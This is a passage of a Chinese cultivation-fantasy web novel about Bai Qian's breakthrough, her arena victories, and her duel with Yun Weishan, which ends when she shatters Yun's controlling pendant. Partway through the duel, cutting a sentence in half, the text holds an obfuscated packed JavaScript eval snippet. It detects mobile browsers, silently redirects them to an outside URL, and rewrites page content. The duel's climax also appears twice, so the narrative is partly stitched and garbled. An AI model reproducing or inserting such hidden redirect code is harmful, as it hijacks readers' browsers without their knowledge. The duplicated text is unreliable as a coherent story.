更极致的压力,需要感受到死亡的威胁,才能将那汪洋般的气海,强行压缩,液化成精纯的‘真元’。”“真元?”白浅低语,这个词她曾在古籍中见过,那是比真气更高一个层次的力量,唯有踏入笃行境,方能拥有。“不错。”叶轻眉指尖凝聚起一点寒芒,那寒芒并非真气,而是一种更加凝练、更加锋锐的力量,“当你能将真气液化,便是踏入笃行境之时。届时,你的剑,将不再是凡铁,而是承载了你意志的‘道兵’。你的速度,也将不再是凡人的敏捷,而是蕴含了天地规则的‘身法’。”她顿了顿,看向白浅:“唐婉的工坊,或许能给你提供这种契机。那里将聚集巴山夜雨城最顶尖的资源,也会引来最危险的敌人。你,准备好了吗?”白浅深吸一口气,眼中闪过一丝决然:“只要能守护我想守护的人,纵使前方是刀山火海,我亦勇往直前。”听雨四卫暗流涌动与此同时,城主府,听雨阁。白望春并未歇息,她独自坐在案几前,面前摊开的正是唐婉留下的那半卷“千机雷音”图纸。烛火摇曳,映照着她略显疲惫却依旧锐利的脸庞。“城主,寒青萝回来了。”门外传来侍女的通报声。“进来。”白望春头也未抬。寒青萝推门而入,身上还带着外面的湿气与一丝若有若无的血腥气。她将一份密报双手呈上:“城主,云为衫已安置妥当。关于白浅小姐今日在演武坪的表现,以及云为衫的反应,属下已记录在案。”白望春接过密报,快速浏览。当看到云为衫对白浅的评价“不够狠”时,她的眉头微微皱起。“青萝,你如何看?”白望春放下密报,目光锐利地看向寒青萝。寒青萝沉声道:“云为衫出身不明,但剑术天赋极高,性格孤僻狠辣,是一把绝世凶刃。她对新收的义姐白浅,似乎抱有极强的敌意,或者说是……一种近乎野兽般的直觉排斥。这种排斥,源于剑道理念的根本对立。”“对立?”白望春手指轻轻敲击桌面,“白浅讲究守护,云为衫讲究杀戮。确实是对立。但,这未必是坏事。”“城主的意思是?”“巴山夜雨城需要白浅这样的旗帜,也需要云为衫这样的利刃。”白望春眼中闪过一丝深沉的光芒,“只要利刃不伤及自身,便有其价值。至于白浅她若连云为衫这一关都过不去,那她也不配做我白望春的侄女。”她站起身,走到窗前:“唐婉那边,安排得如何了?”“羽鹤区边缘的‘废铁营’已清理完毕,三日内便可动工修建工坊。赵琳已派人接管周边防务,并设置了三重警戒阵法。只是”寒青萝迟疑了一下,“商风区主叶轻扬那边,似乎有些动静。她派人去‘废铁营’附近转悠了好几圈,名义上是视察商户,实则是在探查地形。”“叶轻扬”白望春冷笑一声,“她一向精明,见唐婉拿出了机关图,想必是嗅到了商机,想去分一杯羹,或者是想安插些人手进去,监视唐婉的动向。”“属下需不需要警告她?”“不必。”白望春摆了摆手,“让她去。唐婉既然敢要独立工坊,自然有办法应付这些。我们只需看好大局,别让她们真的打起来就行。”废铁营·工坊奠基翌日,清晨。雨势稍歇,转为蒙蒙细雨。位于羽鹤区边缘的“废铁营”,本是巴山夜雨城堆放废弃兵甲和杂物之所,平日里无人问津,污秽不堪。但今日,这里却热闹非凡。唐婉一身利落的灰色短打,站在泥泞的荒地上,指挥着几十名征调来的工匠清理场地。她手中拿着一卷新的图纸,那是她一夜未眠,根据昨日谈判的结果,重新绘制的“独立工坊”详细构造图。 “这里,地基要往下深挖三尺,铺设三层寒铁精石,防止有人从地下挖掘地道潜入。”唐婉指着地面,对身旁一位老工匠说道,“这里,要预留出机关枢纽的位置,与城防大阵的节点相连。还有这里,墙壁要用双层夹心,中间填充隔音与防震的符文材料。”她的语速很快,思路清晰,每一个细节都考虑得滴水不漏。周围的工匠们虽然心中对这位年轻女子能拿到如此独立的工坊建造权感到不解和嫉妒,但此刻也被她专业的素养所折服,不敢有丝毫怠慢。白浅与陆青烟一同前来。陆青烟是受叶轻眉之命,前来协助唐婉的。毕竟唐婉是外人,而陆青烟是雨韵剑宗弟子,又是白浅的好友,由她出面协调,更为合适。“唐婉姐姐,你这工坊,防御做得也太夸张了吧?”白浅看着那深达三尺的地基坑,咋舌道,“这简直像是一座小型堡垒。”“堡垒?”唐婉冷笑一声,眼中闪过一丝厉色,“浅浅,你以为我建工坊是为了玩吗?这是我的立身之本,也是我的战场。寒青萝、鹤之舞、叶轻扬她们哪一个不想看着我出错?彩羽楼的人,更是无孔不入。我不把防御做足,恐怕工坊还没建成,就被人烧成灰了。”她顿了顿,压低声音道:“而且,我昨夜想了一夜。那‘千机雷音’图纸,我只能还原七成。剩下三成,需要一种特殊的‘地煞寒铁’作为核心材料。这种材料,据说只有在宫鸣区地下的‘寒渊’深处才有产出。但鹤之舞把控着宫鸣区,她绝不会轻易放我进去。”“寒渊?”陆青烟眉头一皱,“那地方凶险万分,不仅地势复杂,而且常年弥漫着能腐蚀真气的寒煞之气。没有化境强者的修为,进去便是九死一生。” “所以,我才需要这坚固的工坊。”唐婉目光灼灼地看着白浅,“浅浅,我需要你的帮助。我需要你在工坊建成后,帮我布下一个强大的防护阵法,隔绝外界窥探,也能抵御强敌入侵。同时,我还需要一种能快速降温、抵消寒煞之气的机关。这需要用到你的冰晶核心之力。”白浅看着唐婉眼中那股近乎疯狂的执着,点了点头:“好。工坊的防护阵法,包在我身上。至于机关,我们可以一起研究。” 初窥·突破契机接下来的几日,巴山夜雨城的气氛越发紧张。唐婉的工坊日夜赶工,进度飞快。而白浅则几乎长在了工地上。她不再修炼真气,而是将全部精力都投入到阵法的研习与布置中。叶轻眉并未过多干涉,只是每日送来一些关于阵法符文的古籍,让白浅自行参悟。她知道,这是白浅突破笃行境的最好契机。在巨大的压力下,将理论知识转化为实际运用,这种“知行合一”的磨砺,比死磕修炼要有效得多。这日,白浅正蹲在工坊地基的中心,手持刻刀,在一块巨大的寒铁板上刻画阵纹。这是“三元灭杀阵”的核心阵盘,一旦激发,能爆发出初窥境大圆满的全力一击。阵纹繁复精细,稍有偏差,便会前功尽弃。汗水顺着白浅的额头滴落,与地上的泥水混在一起。她的手指稳定得不可思议,每一刀都精准地落在阵纹的轨迹上。随着阵纹的逐渐成型,一股奇异的波动从寒铁板上散发出来,与周围的环境隐隐呼应。 “还不够”白浅低声自语,她能感觉到,这阵法的威力虽然可观,但总缺少一种“灵性”,一种与天地规则共鸣的“道韵”。就在这时,一阵阴冷的气息悄无声息地弥漫开来。“谁?”陆青烟一直守在旁边,最先察觉到不对,长剑瞬间出鞘,指向工坊外的一处废墟。废墟中,一道灰色的身影缓缓走出。正是云为衫。 她依旧是那身破旧的灰衣,面色蜡黄,眼神暗红。她没有带剑,只是双手空空地插在袖中,但那股令人心悸的杀意,却比那天在擂台上更浓烈了十倍。“白浅。”云为衫的声音干涩,像是在磨牙,“你的剑,还是不够狠。” 她一步步走来,脚下的泥水瞬间冻结成冰。恐怖的寒气随着她的步伐,向白浅席卷而去。“今日,我来验证一下,你的‘守护之剑’,能不能挡住我的‘绝杀之剑’。”“云为衫!”陆青烟娇叱一声,长剑如惊鸿般刺出,直指云为衫的咽喉。她也是初窥境大圆满的修为,剑法精妙,这一剑又快又准。然而,云为衫只是随手一挥。“铛!”一声脆响,陆青烟的长剑竟然被云为衫两根手指夹住!那两根手指看似纤细,却坚硬如铁,上面缠绕着漆黑的煞气。“滚开。”云为衫口中吐出两个字,手指发力。“咔嚓!”陆青烟的长剑寸寸断裂,她整个人如遭雷击,喷出一口鲜血,倒飞而出,重重地撞在刚砌了一半的墙壁上。“青烟姐姐!”白浅大惊,想要去扶,但云为衫的身影已经如鬼魅般出现在她面前。“你的对手,是我。” 云为衫的手指并拢,化作一柄无形的利剑,直刺白浅心口。这一剑,没有花哨,只有纯粹的杀意,快得超越了视觉的捕捉。 死亡的气息瞬间笼罩了白浅。在这生死关头,白浅脑中一片空白。什么阵法,什么工坊,什么守护,全都消失了。她只剩下了一个念头——活下去!“嗡——!”霜华剑自动出鞘,发出一声悲鸣般的剑吟。白浅的眼中,世界仿佛变成了慢动作。她能看到云为衫手指上缠绕的每一丝煞气,能看到她指路的轨迹,能看到空气中被撕裂的每一道痕迹。她的身体比大脑更快。《凌波微步》施展到极致,身形如同一片没有重量的羽毛,在狂风暴雨中飘摇。云为衫的指剑,一次次擦着她的衣角划过,将她身后的寒铁板切出一道道深痕。“躲?你能躲到几时?”云为衫冷笑,攻势越发凌厉。白浅感觉体内的真气在飞速消耗,气海中的真气如同开闸的洪水般倾泻而出。她甚至听到了气海崩塌的声音。不,那不是崩塌!那是压缩!在云为衫这必杀一击的压力下,白浅体内的真气被强行挤压,原本气态的真气,开始发生质变。一丝丝、一缕缕,开始液化!“就是现在!”白浅眼中精光爆射,她不再躲避。霜华剑举起,剑尖颤抖,仿佛承载着千钧之重。“冰莲初绽!” 一朵巨大的冰莲,在寒铁板上轰然绽放。但与以往不同的是,这一次的冰莲,不再是虚无的剑气,而是凝结了实质的坚冰!冰莲的花瓣上,流淌着液态的真元,散发着令人心悸的寒意。 “笃行境?!”云为衫的眼中第一次露出了惊容。 “轰!” 冰莲与指剑,悍然对撞。 恐怖的冲击波向四周扩散,将整个地基都得塌陷下去。唐婉的工坊工地,瞬间变成了一片废墟。 烟尘散去,云为衫倒飞而出,灰衣破碎,手指上鲜血淋漓。她看着白浅,眼神复杂,既有不甘,也有一丝认可。 “笃行境你终于够‘狠’了。”她丢下一句话,身形几个起落,便消失在废墟之中。 白浅站在原地,霜华剑拄地,大口大口地喘着粗气。她能清晰地感觉到,丹田内的气海已经缩小了十倍,但里面的真气却凝练了百倍,化作了液态的真元。 她缓缓抬起手,指尖一点寒芒凝聚。 笃行段,一段。 突破了。 唐婉从一堆木料后钻出来,看着满目疮痍的工地,非但不生气,反而兴奋地两眼放光:“好!好!这一剑的威力,足以作为我新机关的核心动力源了!浅浅,你这突破,突破得好啊!” 白浅看着一片狼藉的工地,又看了看唐婉那狂热的眼神,无奈地笑了。这巴山夜雨城的雨,看来是越下越大,也越来越冷了。演武坪·剑指锋工坊的废墟之上,雨虽停了,但天色依旧阴沉得令人窒息。 白浅刚刚突破到笃行段,体内液态真元流转不息,正沉浸在那种全新力量带来的奇妙感受中。她能感觉到,自己的五感敏锐了数倍,对天地灵气的感应也越发清晰。这让她对唐婉工坊的防护阵法,有了更多新的构思。然而,这份宁静并未持续多久。 演武坪的方向,忽然传来一阵喧哗。起初只是零星议论,随即迅速汇聚成山呼海啸般的惊叹与喝彩。 白浅与唐婉对视一眼,皆看到对方眼中的凝重。 “去看看。”唐婉收起图纸,眼中闪过一丝冷意,“看来,有人等不及了。” 两人赶到演武坪时,擂台上已站了一人。 正是秦姝。她一身地隐门服饰,身姿挺拔,手中长剑斜指地面,目光如电,死死盯着台下的白浅。那眼神中,带着毫不掩饰的冷色与战意。 白浅,你终于又登台了!”秦姝的声音清冷,穿透嘈杂的人群,“上次在宫鸣区小较,是你运气好,又仗着城主与叶前辈的爱护,才侥幸胜了我半招。这次众目睽睽,我看你还有没有那般好运!” 她果然是为上次小较的失利而来。那场胜利,白浅赢得并不轻松,也一直被地隐门部分弟子视为“取巧”。如今白浅修为大进,秦姝显然是要当众找回场子。 白浅看着对面的秦姝,平静道:“你要第一个挑战我?” “当然!难道白小姐是怕第一场就输了,面子上不好看?”秦姝语带讥讽,手已按在剑柄上,一股精纯的地煞之气缓缓弥漫开来。她显然有备而来,修为已至初窥境大圆满巅峰,比月前精进了不少。 “请。”白浅并不多言,只微微颔首,右手按在“霜华”剑柄上,却未立即出鞘。她想试试,自己突破后的实力,究竟到了何种地步。 秦姝盯着她按剑的手,冷哼道:“与我交手,你还不拔剑?” “看情况。”白浅淡淡道。 她并非托大,而是想先观察对手路数,并借机更精细地控制体内新近增长的冰寒之力。笃行境的真元与初窥境的真气截然不同,更加凝练,也更加霸道。稍有不慎,便会伤及无辜。 “狂妄!” 秦姝大怒,觉得被轻视。上次小较失利被她视为奇耻大辱,此次定要一雪前耻。“隐水剑法·流风追影!” 她直接施展出地隐门绝学。剑出如风,剑尖颤动,撕裂空气发出嗤嗤轻响。相比月前,她的剑法明显更为纯熟凌厉,剑风呼啸,竟隐隐带起数道残影,封住了白浅左右闪避的空间。 白浅身形稳立,眸光沉静。直到剑锋及身前尺许,她方才动了。 并未拔剑。 她并指如剑,指尖萦绕着一层淡得几乎看不见的冰蓝寒气,精准无比地点在了秦姝刺来剑身的侧脊三分处! “叮!” 一声清脆如冰玉交击的轻响。 秦姝只觉一股奇寒彻骨、凝实如针的劲力,自剑身骤然传来,瞬间冲破她附着其上的真气,直透手臂经脉! “咔嚓!”轻微的骨裂声响起。 秦姝手腕剧痛,五指不由自主地松开,佩剑“哐当”一声掉落在地。她闷哼一声,踉跄着连退七八步,整条右臂又痛又麻,仿佛被冻僵了一般,连抬都抬不起来,只能用惊骇莫名的目光瞪着白浅。 “你的修为怎会精进至此?!”她简直无法相信,月余前还需缠斗数十招方能险胜自己的白浅,此刻竟只用了两根手指,便破了她全力施展的剑招,还震伤了她的手臂! 白浅缓缓收回手指,指尖寒气消散,神色淡然:“你的剑,破绽太明显。风过无痕,方为上乘,刻意追影,反落了下乘。你已非我对手。” 两根手指,轻描淡写击败秦姝! 全场先是一静,随即爆发出阵阵惊叹。 “这白小姐何时有了这般身手?” “刚才那指法寒气凛冽,莫非是叶轻眉所授?” “秦姝在地隐门年轻一辈中也不算弱手,竟连逼她拔剑都做不到?” 擂台边,一直专注观战的赵琳眼中精光一闪,微微颔首,低声自语:“劲力凝练,时机精准,对冰寒之力的控制已初入门径,不错。”而另一侧尚未离去的寒青萝,则依旧面无表情,只是眼神更深了些。 连挫劲敌冰心初现接下来的挑战,接踵而至。 白浅连战数场,对手皆是随白梦秋前来的地隐门精锐。这些人,个个都是初窥境大圆满的好手,在地隐门中也算是佼佼者。 单芷若施展地隐步法,身法诡谲,如鬼魅般围绕着白浅游走,试图寻找破绽。然而,白浅只是静立原地,霜华剑未出鞘,仅凭剑鞘,便将她的攻击一一化解。待单芷若气息微乱,真气稍有凝滞之时,白浅剑鞘一抖,精准地点中她后心要穴,一股阴柔冰寒的掌力透体而入,单芷若真气一滞,败下阵来。 赵雨菲全力催动凝煞初窥阶的修为,掌风凌厉,带着沉重的风压。白浅轻飘飘一掌拍出,看似无力,却蕴含着液态真元的恐怖力量,与赵雨菲的掌力悍然对撞。赵雨菲闷哼一声,倒飞出台,整条手臂都被冰霜覆盖。 毫无例外,全部败北。 且无一例外,都是一招之间便分出胜负。无人能逼出白浅的第二招,甚至无人能让她真正拔剑出鞘。 她或是指尖轻点,或是掌风带寒,或是身法如魅,总能于电光石火间寻隙破招,克敌制胜。 “连败数人!都是一招!” “白小姐的修为进展,简直骇人听闻!” “看来云为衫姑娘之前那‘不够狠’的评价,未必全对。白小姐这是不屑于用狠?” “两人风格迥异,一者酷烈绝杀,一者轻灵制胜,当真有趣!” 台下议论纷纷,众多年轻武者和世家小姐看向白浅的目光已大为不同,好奇、钦佩、仰慕兼而有之。此前云为衫带来的肃杀压抑之感,被白浅这番举重若轻、点到为止的连胜冲淡了不少,反而激起更多对“技巧”与“境界”的探讨。唐婉对好友的表现毫不意外,嘴角含笑。不远处,秦姝则面色灰败,彻底没了脾气。 孤狼折返·生死之约“看来,我之前倒是小瞧你了。” 一个冰冷沙哑的声音,忽然穿透嘈杂的人声,清晰地响起。 人群自然分开,云为衫提着那柄血迹已干、更显暗红的铁剑,一步步走回擂台边。她原本已随寒青萝离去,不知何时又折返回来。 暗红色的眼眸死死盯住台上的白浅,那股刚刚收敛不久的杀气,再次升腾而起,甚至比之前更盛。 “云为衫,该你出手了。”寒青萝的声音淡淡传来,她并未阻拦,反而抱着手臂,站在原地,一副静观其变的模样。 “是。”云为衫应了一声,声音斩钉截铁。 她纵身一跃,轻飘飘落于擂台之上,与白浅相隔两丈,遥遥相对。 一个是十剑十杀、凶名骤起的“孤狼”义女,一个是举重若轻、连挫数敌的城主养女。两人同是少女,同是用剑,却代表着截然不同的剑道风格与气质。 这场对决,瞬间点燃了全场!赌性重的围观者,已经开始低声议论起赔率。 擂台之上,空气仿佛凝固。 云为衫握紧铁剑,眼神如冰封的湖面,不起波澜:“你,的确不弱。”白浅终于第一次,缓缓将“霜华”剑抽出寸许,一抹冰蓝光华流转,她正视对方,诚恳道:“你的剑很快,很利,为战而生。但我观你气息,剑出之时虽凌厉无匹,气血奔涌间却有隐晦的滞涩与衰败之气相随。你所修习的,可是某种需透支本源、损及根基的搏命剑术?而且,恐怕并非全本,留有致命缺陷。与我交手,你并无胜算,反会加剧自身损伤。此战,并非必须。” 白浅精神力敏锐,又在叶轻眉身边耳濡目染,隐约看出了云为衫剑法中那“一往无前”背后隐藏的代价。她欣赏对方剑中的纯粹与决绝,也惋惜其修行法门之凶险,故出言提醒。 云为衫身躯几不可查地微微一震,眼中飞快地掠过一丝极复杂的情绪,但瞬间便被更深的冰冷覆盖。她向寒青萝的方向极快地瞥了一眼,复又看向白浅,眼神变得更加决绝,仿佛孤注一掷的野狼:“我的路,我自己走。谁强谁弱,唯剑可证!” 白浅轻轻叹了口气,知道言语已无用。“锃”的一声,霜华剑完全出鞘,剑身澄澈如秋水,寒气弥漫。“既然如此,请。” 绝杀与冰坠子之谜云为衫不再多言,低喝一声:“戮影!” 身形骤然模糊,化作一道灰线,人随剑走,剑与身合,带着一股惨烈决绝、有死无生的恐怖气势,直刺白浅咽喉!速度之快,竟在身后拉出了一道淡淡的血色残影! 白浅瞳孔微缩,不敢有丝毫大意。她脚踏玄奥步法,身形如风中飘絮,向后微仰,同时手腕一抖,霜华剑划出一道清冷弧光,并非硬接,而是斜斜点向对方剑脊,试图以巧破力,以寒滞速。冰魄真气灌注剑身,剑尖所过之处,空气凝结出细密冰晶。 台下,唐婉屏住呼吸。赵琳全神贯注。寒青萝嘴角那丝弧度,似乎加深了些许。而更远处,听雨阁高处,似乎也有两道目光,穿透雨幕,投向了这方喧嚣的擂台。 云为衫的绝命一剑刺出时,白浅不闪不避,霜华剑点向的却不是她的要害,而是她胸口一枚不起眼的旧饰物——那是寒青萝所赐的“护身符”。同时,白浅将自己最薄弱的咽喉,暴露在云为衫剑下。 剑尖抵喉,血珠渗出。 云为衫的剑,停下了。她胸前那枚饰物,“咔”地一声,被霜华剑的剑气震出一道裂痕。 全场死寂。 白浅看着她猩红却泛起一丝迷茫的眼,轻声道:“现在,你的剑,属于你自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17594678|205558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己了么?” 剑锋未至,那股尸山血海浇铸出的杀意已如实质,率先撞上白浅的精神。刹那间,她眼前幻象丛生——不再是喧闹的演武坪,而是尸横遍野的荒原,一头暗红眼瞳的孤狼,正咧着滴血的獠牙向她扑来!这是杀戮剑意侵蚀神智的可怕之处。 “浅浅!”台下,唐婉失声惊呼,手指已扣住袖中暗器。 赵琳身体前倾,右脚微微踏前半步,城防统领的本能让她几乎要出手干预。但她眼角余光瞥见一旁寒青萝那冰冷如石、毫无波澜的脸,硬生生止住了动作。这位刑律执掌者,在等什么? 电光石火间,白浅深吸一口气。体内那枚“冰晶核心”骤然一跳,一股清冽冰流自丹田升起,直冲灵台。 “冰心诀,镇!” 心中默念叶轻眉传授的静心法门,所有幻象如潮水般退去。眼中重归清明时,那索命铁剑距咽喉已不过三尺! 白浅动了。 她没有硬接,霜华剑划出一道玄妙的弧线,剑尖萦绕着肉眼可见的冰晶颗粒,后发先至,精准无比地点向云为衫铁剑的剑脊。 “叮——!” 一声远比金铁交鸣更清脆、更幽远的响声炸开,仿佛两块万载玄冰相撞。云为衫只觉剑身传来一股诡异的螺旋寒劲,不仅卸去了她前冲的力道,更让她手臂一麻,剑势不由自主地偏了三分,擦着白浅的肩颈掠过,带起几缕被剑气割断的青丝。 白浅以巧破力,以寒滞速,险之又险地避开绝杀。但肩头衣衫已被划破,一道细浅的血痕浮现。 “好!”台下有懂行的武者忍不住喝彩。 能在“孤狼”全力一剑下如此应对,已是匪夷所思。云为衫一击不中,身形如鬼魅般折返,没有任何喘息,第二剑、第三剑接踵而至!剑光织成一片血色罗网,每一剑都直奔要害,狠辣刁钻,完全是以命换命的打法。她的眼神越来越红,气息却隐隐有一丝不正常的亢奋与紊乱。 白浅将“踏雪无痕”身法催动到极致,在剑网中穿梭,霜华剑或点、或拨、或引,如穿花蝴蝶,总能在间不容发之际化去致命危机。但明眼人都看得出,她守多攻少,完全被云为衫狂风暴雨般的攻势压制。“她的剑,只为杀人而生。”白浅越战,心中那丝共情与不忍越甚。她看得分明,云为衫每一剑都透支着本源气血,那暗红眼眸深处,是焚尽一切的疯狂,也是深不见底的绝望。 “这样下去,她就算杀了我,自己也完了。”白浅心念急转。久攻不下,云为衫眼中厉色更盛。她喉间发出一声低低的、宛若狼嚎的嘶吼,周身那粘稠的杀气骤然收缩,随即轰然爆发! 空气中,隐约浮现出一头血色狼影,獠牙毕露,与她手中铁剑合二为一。狼影出现的刹那,整个擂台的温度似乎都下降了几分,那是纯粹杀意带来的森寒。“杀意化形!她竟触摸到了‘势’的门槛!”赵琳瞳孔收缩。这云为衫的潜力,太过可怕,也太过危险。血色狼影扑来,带着震慑心魄的凶威。台下不少修为较低的观战者,已是面色发白,连连后退。白浅感到压力倍增,那狼影并非实体,却能直接冲击神魂,干扰判断。“不能退!” 她眼神一凝,体内“冰晶核心”以前所未有的速度旋转起来。精纯磅礴的冰魄玄气毫无保留地注入霜华剑。 霜华剑发出清越长鸣,剑身光华大放,冰蓝剑气冲天而起。以白浅为中心,三丈范围内,细雨凝滞,水汽结霜,一个朦胧的、不断飘落着细小冰晶的领域悄然展开。 冰心领域!领域之内,杀意被净化,狂暴被抚平。那血色狼影冲入领域,速度骤减,形体也模糊了几分。 “你的剑,够快,够狠。”白浅的声音透过领域,清晰传出,带着奇异的穿透力,直入云为衫脑海,“但你的心,只剩仇恨与毁灭了吗?寒青萝让你证明价值,就是用这种方式?燃烧自己,成为他人手中一把注定折断的刀?” 这句话,像一根冰冷的针,刺入云为衫沸腾的杀意之中。她身躯剧震,眼中猩红光芒剧烈闪烁,剑势出现了一丝极其微小的凝滞。脑海中,不受控制地闪过一些画面:阴暗的地牢、残酷的训练、寒青萝审视货物般的眼神、以及那句“你活着,唯一的用处就是杀人”。 “闭嘴!”云为衫嘶吼,强行压下翻腾的心绪,攻势更狂,但嘴角已有一缕暗红色的血丝溢出。杀生剑术的反噬,开始了。 战局进入白热化。冰蓝领域与血色狼影不断碰撞、消磨。擂台上剑气纵横,冰屑与血光齐飞,看得人目眩神迷。雨后天光人群之中,一个毫不起眼的灰衣人,低着头,嘴角却勾起一抹阴笑。他袖中手指微动,一枚细如牛毛、泛着幽蓝光泽的毒针悄然滑入指间。目标是——正在全力维持领域、心神与云为衫激烈对抗的白浅后心! 就在他即将弹指的刹那! “哼!”一声冰冷的冷哼,如同惊雷在他耳边炸响。 灰衣人浑身一僵,只觉一道犀利如剑的目光锁定了自己,磅礴的威压让他动弹不得。他惊恐抬眼,对上不远处寒青萝那双毫无感情、仿佛看死人一样的眸子。寒青萝的目光只停留了一瞬,便移开,重新投向擂台。但灰衣人已吓得魂飞魄散,那枚毒针“叮”一声掉在地上,他慌忙缩入人群,消失不见。 彩羽楼的第一次试探,被寒青萝无声掐灭。但她的动机绝非保护白浅,更像是不允许她人破坏自己“观察实验”的进程。 另一边,赵琳的右手已紧紧握住了剑柄。云为衫的气息在狂暴中透出衰败,白浅的领域也开始波动,显然消耗巨大。再战下去,必有一方重伤甚至殒命。 “寒师姐!”赵琳传音,语气急促,“该停下了!两人都是城主看重之人!” 寒青萝沉默一息,冷漠回音:“玉不琢,不成器。剑不染血,不锋芒。这是她的路,也是她的劫。城主若要怪罪,我一力承担。” 赵琳脸色难看,但寒青萝执掌刑律,地位特殊,她无法强行越过对方出手。 擂台中央,云为衫的气息陡然攀升到一个顶点,随即如同回光返照,她周身的血色狼影发出无声咆哮,急剧收缩,尽数融入手中铁剑。那柄锈剑,瞬间变得通红,仿佛刚从熔炉取出,散发出令人心悸的毁灭波动。她的眼神,是一种彻底放弃一切的决绝,以及深藏的、连她自己都未曾察觉的、对“终结”的渴望。 “杀!生!无!悔!” 一字一顿,伴随着她生命本源的剧烈燃烧。这是杀生剑术的终极禁式,一剑之后,敌我皆亡! 铁剑化作一道撕裂一切的血色长虹,无视空间,直刺白浅心口!这一剑的速度、力量、杀意,超越了之前所有。冰心领域剧烈震颤,出现道道裂痕。避无可避,挡无可挡! 台下,唐婉面无人色。赵琳长剑出鞘三寸。连寒青萝的瞳孔都微微收缩。 就在这万分之一秒的生死关头,白浅做出了一个让所有人难以置信的动作。 她,散开了冰心领域。 所有护体寒气,瞬间内敛。 她,没有将霜华剑迎向那绝杀的血色长虹。而是将全部精神、全部真气、连同“冰晶核心”迸发出的最后一丝本源寒意,尽数灌注于剑尖,化作一道凝练到极致、晶莹剔透的冰蓝细线,以近乎预判的方式,点向云为衫持剑手腕上方三寸之处——那里,悬着一枚毫不起眼的、暗灰色的石质坠子。 那是云为衫身上唯一的饰物,据说是寒青萝所赐“护身符”。 同时,她将自己最脆弱的咽喉与心口,完全暴露在了那毁灭的血色剑虹之前。 她在赌。 赌云为衫这燃烧生命、斩断宿命的一剑里,除了杀意,是否还残留着一丝对“被掌控”的不甘。 赌自己这凝聚全部心神、瞄准“枷锁”而非“敌人”的一剑,能快过那绝杀之剑。 赌那源于叶轻眉的冰魄本源,能冻结万物,也能冻结“注定”的悲剧。 时间,仿佛在这一刻被无限拉长。 血色剑虹,已触及白浅胸口的衣襟。 冰蓝细线,后发先至,吻上了那枚灰色石坠。 “咔——” 一声微不可闻,却清脆无比的碎裂声。 那枚石坠,表面浮现出无数蛛网般的裂痕,一股阴冷晦涩的气息从中逸散,随即被霸道的冰魄剑气彻底湮灭。 噗! 血色剑虹,在白浅胸前半寸处,骤然僵停。剑尖刺破了最外层的衣衫,却再无法前进一分。 云为衫持剑的手,在剧烈颤抖。她暗红色的眼眸中,疯狂的杀意如潮水般退去,取而代之的是一片巨大的、茫然的空洞。那枚伴随她多年、据说能“护佑心神”的坠子碎裂的瞬间,她感到某种一直缠绕在神魂深处的、冰冷滑腻的“东西”,也随之断裂、消散了。前所未有的轻松,以及紧随而来的、灵魂被掏空的虚脱,淹没了她。 “当啷。” 铁剑从她无力松开的手中滑落,掉在冰冷的擂台上。 她看着白浅近在咫尺的、平静而带着一丝疲惫的脸庞,张了张嘴,却发不出任何声音。唯有唇边,更多的暗红鲜血汩汩涌出,那是本源透支、杀生剑术反噬的迹象。 她的身体晃了晃,向前软倒。 白浅伸手,稳稳扶住了她倒下的身躯。冰魄真气化为最温和的寒流,小心翼翼地渡入云为衫几乎千疮百孔的经脉,不是疗伤,此刻她也无力疗此重伤,而是护住其最后一线生机,强行吊住性命。 做完这一切,白浅自己也脸色苍白,额角见汗,显然消耗极大。 她抬起头,无视台下死一般的寂静和无数道震惊的目光,看向擂台下方的寒青萝,声音清晰而平静地传来:“寒师姐,她的‘护身符’,好像不大结实。” 寒青萝的脸上,第一次失去了那冰冷的平静。她盯着白浅,又看了看她怀中气息奄奄、坠子已碎的云为衫,眼神复杂难明,有惊怒,有审视,更有一丝极深的忌惮。那枚石坠是什么,她最清楚不过。白浅能看穿并精准击碎它,意味着什么,她更清楚。 良久,寒青萝才缓缓开口,声音听不出喜怒:“你好大的胆子,也好准的眼力。”她挥了挥手,两名黑衣刑律弟子迅速上台,从白浅手中接过昏迷的云为衫。“带下去,用‘九窍续命散’,别让她死了。”寒青萝下令,目光最后扫过白浅,“白小姐今日耗力过甚,也请回凝碧轩好生休息。今日之事,我自会向城主详细禀报。” 说完,她不再停留,转身离去,背影依旧挺直,却莫名透出一股寒意。 赵琳深深看了白浅一眼,收剑归鞘,对周围执法队道:“清理擂台,疏散人群。”然后她走到白浅身边,低声道:“先回去。今日之后,这巴山夜雨城,怕是再也无人敢小觑你了。但也更不平静了。” 唐婉已冲上擂台,扶住有些脱力的白浅,眼中满是后怕与骄傲。 白浅对她微微摇头,示意自己无妨。她望向云为衫被抬走的方向,又抬眼看了看阴沉沉的天穹。 雨,不知何时已经停了。 一缕稀薄的、却异常明亮的天光,艰难地穿透云层,恰好落在擂台中央,那摊尚未干涸的、混合着冰晶与血渍的水迹上,反射出细碎迷离的光。 “你看,”白浅用只有自己能听到的声音,轻轻地说,“雨停了。天,没塌下来。” 54. 霜羽惊弦雨夜寒 雨巷·暗桩巴山夜雨城,徵水区。通往凝碧轩的雨巷,狭长而僻静。青石板路被雨水冲刷得油光发亮,倒映着两侧高墙投下的、被切割得支离破碎的昏黄灯光。细雨如丝,织成一张绵密的大网。白浅与唐婉并肩而行,两人身后跟着一名徵水区的护卫弟子。刚经历了一场恶战,白浅脸色有些苍白,唐婉则紧抿着唇,目光警惕。“哼!”一声冷哼,毫无征兆地在雨巷中响起。声音不大,却透着一股冰冷的穿透力。一道月白身影如鬼魅般切入战局,一掌便印向那名护卫弟子的后心。掌风阴柔,凌厉至极。护卫弟子大骇,欲要回身格挡,却发现自己周身一寒,动作竟迟缓了几分。千钧一发之际“叮!”一声清脆的金铁交鸣之音。月白身影的一掌,被一柄不知何时出现的长剑精准无比地架住了。来人银发如雪,在雨中无风自动,正是叶轻眉。她竟一直隐在暗处。刺客眼中露出骇然,毫不犹豫,牙齿猛地用力一咬!“咔哒”一声轻响。 